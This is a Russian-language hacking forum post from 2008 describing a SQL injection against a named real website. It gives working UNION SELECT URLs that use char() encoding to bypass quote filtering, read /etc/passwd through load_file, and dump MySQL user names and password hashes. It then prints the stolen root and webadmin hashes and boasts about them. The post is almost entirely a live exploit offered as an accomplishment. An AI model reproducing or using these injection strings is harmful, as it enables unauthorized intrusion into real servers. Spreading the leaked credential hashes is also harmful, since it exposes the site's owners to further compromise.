22.07.2008, 00:58
|
|
Участник форума
Регистрация: 06.10.2006
Сообщений: 226
С нами:
10313606
Репутация:
1327
|
|
www.ub.bw PR-6
version() - 5.0.51
file_priv - Y
к сожалению ковычки фильтруются, обходим их с помощью ASCII кодов...
PHP код:
http://www.ub.bw/news.cfm?pid=221&t=-1+union+select+1,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),4,5,6,7,8,9,10,11,12,13,14,15+from+mysql.user
PHP код:
http://www.ub.bw/news.cfm?pid=221&t=-1+union+select+1,2,concat(user,char(58),password),4,5,6,7,8,9,10,11,12,13,14,15+from+mysql.user
root:*605A9A272BF59FE166F769C3536B032DD66858F6
webadmin:*B3AD4B00674739CBE6300BA8A38EBB04C6A1526A
root:*B3AD4B00674739CBE6300BA8A38EBB04C6A1526A
Два рута =) |
|
|